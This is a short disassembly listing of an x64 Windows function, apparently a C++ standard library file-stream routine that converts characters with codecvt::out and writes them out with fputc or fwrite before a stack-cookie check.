lea r8, [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003d74
sub eax, 1
je 0x140003d74
cmp eax, 2
jne 0x140003dbc
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003dc1
mov rsi, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003da2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140003dbc
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x50], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140003dc1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000b930
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret